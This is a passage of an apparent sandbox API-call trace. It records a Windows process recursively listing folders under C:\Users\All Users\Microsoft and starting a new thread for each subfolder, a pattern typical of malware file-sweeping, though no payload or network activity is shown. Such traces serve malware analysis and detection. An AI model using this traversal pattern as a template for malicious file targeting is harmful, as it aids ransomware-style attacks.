returned="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL" [0127.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd86b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16bc [0127.072] FindNextFileW (in: hFindFile=0x1b858fd0, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 1 [0127.073] wcscmp (_String1="Pending.GRL", _String2=".") returned 1 [0127.073] wcscmp (_String1="Pending.GRL", _String2="..") returned 1 [0127.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1b8585b0 [0127.073] wcscpy (in: _Dest=0x1b8585b0, _Source="C:\\Users\\All Users\\Microsoft\\MF" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF") returned="C:\\Users\\All Users\\Microsoft\\MF" [0127.073] wcscat (in: _Dest=0x1b8585b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\") returned="C:\\Users\\All Users\\Microsoft\\MF\\" [0127.073] wcscat (in: _Dest=0x1b8585b0, _Source="Pending.GRL" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL") returned="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL" [0127.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8585b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8 [0127.074] FindNextFileW (in: hFindFile=0x1b858fd0, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 0 [0127.074] FindClose (in: hFindFile=0x1b858fd0 | out: hFindFile=0x1b858fd0) returned 1 [0127.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60320) returned 1 [0127.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c850) returned 1 [0127.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c080) returned 1 Thread: id = 978 os_tid = 0x15f0 [0101.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82c0d0 [0101.393] wcscpy (in: _Dest=0x1b82c0d0, _Source="C:\\Users\\All Users\\Microsoft\\MSDN" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MSDN") returned="C:\\Users\\All Users\\Microsoft\\MSDN" [0101.393] wcscat (in: _Dest=0x1b82c0d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MSDN\\") returned="C:\\Users\\All Users\\Microsoft\\MSDN\\" [0101.393] wcscat (in: _Dest=0x1b82c0d0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MSDN\\*") returned="C:\\Users\\All Users\\Microsoft\\MSDN\\*" [0101.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd600b0 [0101.393] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\*", lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86eb0 [0101.394] wcscmp (_String1=".", _String2=".") returned 0 [0101.394] FindNextFileW (in: hFindFile=0x1cd86eb0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.394] wcscmp (_String1="..", _String2=".") returned 1 [0101.394] wcscmp (_String1="..", _String2="..") returned 0 [0101.394] FindNextFileW (in: hFindFile=0x1cd86eb0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 1 [0101.394] wcscmp (_String1="8.0", _String2=".") returned 1 [0101.394] wcscmp (_String1="8.0", _String2="..") returned 1 [0101.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1cd86610 [0101.394] wcscpy (in: _Dest=0x1cd86610, _Source="C:\\Users\\All Users\\Microsoft\\MSDN" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MSDN") returned="C:\\Users\\All Users\\Microsoft\\MSDN" [0101.394] wcscat (in: _Dest=0x1cd86610, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MSDN\\") returned="C:\\Users\\All Users\\Microsoft\\MSDN\\" [0101.394] wcscat (in: _Dest=0x1cd86610, _Source="8.0" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0") returned="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0" [0129.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd86610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b0 [0129.914] FindNextFileW (in: hFindFile=0x1cd86eb0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 0 [0129.914] FindClose (in: hFindFile=0x1cd86eb0 | out: hFindFile=0x1cd86eb0) returned 1 [0129.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd600b0) returned 1 [0129.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0129.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 Thread: id = 979 os_tid = 0x15f4 [0101.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd861f0 [0101.396] wcscpy (in: _Dest=0x1cd861f0, _Source="C:\\Users\\All Users\\Microsoft\\NetFramework" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework") returned="C:\\Users\\All Users\\Microsoft\\NetFramework" [0101.396] wcscat (in: _Dest=0x1cd861f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\" [0101.396] wcscat (in: _Dest=0x1cd861f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\*") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\*" [0101.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61910 [0101.396] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\*", lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86250 [0101.397] wcscmp (_String1=".", _String2=".") returned 0 [0101.397] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.397] wcscmp (_String1="..", _String2=".") returned 1 [0101.397] wcscmp (_String1="..", _String2="..") returned 0 [0101.397] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1 [0101.397] wcscmp (_String1="BreadcrumbStore", _String2=".") returned 1 [0101.397] wcscmp (_String1="BreadcrumbStore", _String2="..") returned 1 [0101.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85ed10 [0101.397] wcscpy (in: _Dest=0x1b85ed10, _Source="C:\\Users\\All Users\\Microsoft\\NetFramework" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework") returned="C:\\Users\\All Users\\Microsoft\\NetFramework" [0101.397] wcscat (in: _Dest=0x1b85ed10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\" [0101.397] wcscat (in: _Dest=0x1b85ed10, _Source="BreadcrumbStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore" [0127.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85ed10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c0 [0127.076] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 0 [0127.076] FindClose (in: hFindFile=0x1cd86250 | out: hFindFile=0x1cd86250) returned 1 [0127.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61910) returned 1 [0127.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd861f0) returned 1 [0127.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859030) returned 1 Thread: id = 980 os_tid = 0x15f8 [0101.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1cd86cd0 [0101.398] wcscpy (in: _Dest=0x1cd86cd0, _Source="C:\\Users\\All Users\\Microsoft\\Network" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network") returned="C:\\Users\\All Users\\Microsoft\\Network" [0101.399] wcscat (in: _Dest=0x1cd86cd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\" [0101.399] wcscat (in: _Dest=0x1cd86cd0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\*") returned="C:\\Users\\All Users\\Microsoft\\Network\\*" [0101.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd63170 [0101.399] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\*", lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86550 [0101.399] wcscmp (_String1=".", _String2=".") returned 0 [0101.399] FindNextFileW (in: hFindFile=0x1cd86550, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.399] wcscmp (_String1="..", _String2=".") returned 1 [0101.399] wcscmp (_String1="..", _String2="..") returned 0 [0101.399] FindNextFileW (in: hFindFile=0x1cd86550, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0101.399] wcscmp (_String1="Connections", _String2=".") returned 1 [0101.399] wcscmp (_String1="Connections", _String2="..") returned 1 [0101.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0xeb450 [0101.399] wcscpy (in: _Dest=0xeb450, _Source="C:\\Users\\All Users\\Microsoft\\Network" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network") returned="C:\\Users\\All Users\\Microsoft\\Network" [0101.399] wcscat (in: _Dest=0xeb450, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\" [0101.400] wcscat (in: _Dest=0xeb450, _Source="Connections" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections" [0127.077] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0xeb450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c8 [0127.078] FindNextFileW (in: hFindFile=0x1cd86550, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0127.078] wcscmp (_String1="Downloader", _String2=".") returned 1 [0127.078] wcscmp (_String1="Downloader", _String2="..") returned 1 [0127.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e1e0 [0127.078] wcscpy (in: _Dest=0x1b86e1e0, _Source="C:\\Users\\All Users\\Microsoft\\Network" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network") returned="C:\\Users\\All Users\\Microsoft\\Network" [0127.078] wcscat (in: _Dest=0x1b86e1e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\" [0127.078] wcscat (in: _Dest=0x1b86e1e0, _Source="Downloader" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" [0127.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86e1e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x598 [0127.079] FindNextFileW (in: hFindFile=0x1cd86550, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 0 [0127.079] FindClose (in: hFindFile=0x1cd86550 | out: hFindFile=0x1cd86550) returned 1 [0127.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd63170) returned 1 [0127.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86cd0) returned 1 [0127.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858670) returned 1 Thread: id = 981 os_tid = 0x15fc [0101.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1cd865b0 [0101.413] wcscpy (in: _Dest=0x1cd865b0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE") returned="C:\\Users\\All Users\\Microsoft\\OFFICE" [0101.413] wcscat (in: _Dest=0x1cd865b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\" [0101.413] wcscat (in: _Dest=0x1cd865b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\*") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\*" [0101.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd63da0 [0101.413] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\*", lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd868b0 [0101.413] wcscmp (_String1=".", _String2=".") returned 0 [0101.413] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.413] wcscmp (_String1="..", _String2=".") returned 1 [0101.414] wcscmp (_String1="..", _String2="..") returned 0 [0101.414] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5011dd00, ftCreationTime.dwHighDateTime=0x1ca04ff, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5011dd00, ftLastWriteTime.dwHighDateTime=0x1ca04ff, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetLibrary.ico", cAlternateFileName="ASSETL~1.ICO")) returned 1 [0101.414] wcscmp (_String1="AssetLibrary.ico", _String2=".") returned 1 [0101.414] wcscmp (_String1="AssetLibrary.ico", _String2="..") returned 1 [0101.414] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabeeea00, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabeeea00, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentRepository.ico", cAlternateFileName="DOCUME~1.ICO")) returned 1 [0101.414] wcscmp (_String1="DocumentRepository.ico", _String2=".") returned 1 [0101.414] wcscmp (_String1="DocumentRepository.ico", _String2="..") returned 1 [0101.414] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfbd800, ftCreationTime.dwHighDateTime=0x1c9facb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bfbd800, ftLastWriteTime.dwHighDateTime=0x1c9facb, nFileSizeHigh=0x0, nFileSizeLow=0x5532e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1 [0101.414] wcscmp (_String1="MySharePoints.ico", _String2=".") returned 1 [0101.414] wcscmp (_String1="MySharePoints.ico", _String2="..") returned 1 [0101.414] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc92d1d00, ftCreationTime.dwHighDateTime=0x1c627a2, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc92d1d00, ftLastWriteTime.dwHighDateTime=0x1c627a2, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySite.ico", cAlternateFileName="")) returned 1 [0101.414] wcscmp (_String1="MySite.ico", _String2=".") returned 1 [0101.414] wcscmp (_String1="MySite.ico", _String2="..") returned 1 [0101.414] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2444900, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2444900, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointPortalSite.ico", cAlternateFileName="SHAREP~1.ICO")) returned 1 [0101.414] wcscmp (_String1="SharePointPortalSite.ico", _String2=".") returned 1 [0101.414] wcscmp (_String1="SharePointPortalSite.ico", _String2="..") returned 1 [0101.414] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad743900, ftCreationTime.dwHighDateTime=0x1c62706, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad743900, ftLastWriteTime.dwHighDateTime=0x1c62706, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~2.ICO")) returned 1 [0101.414] wcscmp (_String1="SharePointTeamSite.ico", _String2=".") returned 1 [0101.414] wcscmp (_String1="SharePointTeamSite.ico", _String2="..") returned 1 [0101.414] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 1 [0101.414] wcscmp (_String1="UICaptions", _String2=".") returned 1 [0101.415] wcscmp (_String1="UICaptions", _String2="..") returned 1 [0101.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x17f0d0 [0101.415] wcscpy (in: _Dest=0x17f0d0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE") returned="C:\\Users\\All Users\\Microsoft\\OFFICE" [0101.415] wcscat (in: _Dest=0x17f0d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\" [0101.415] wcscat (in: _Dest=0x17f0d0, _Source="UICaptions" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions" [0129.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x17f0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c4 [0129.917] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, 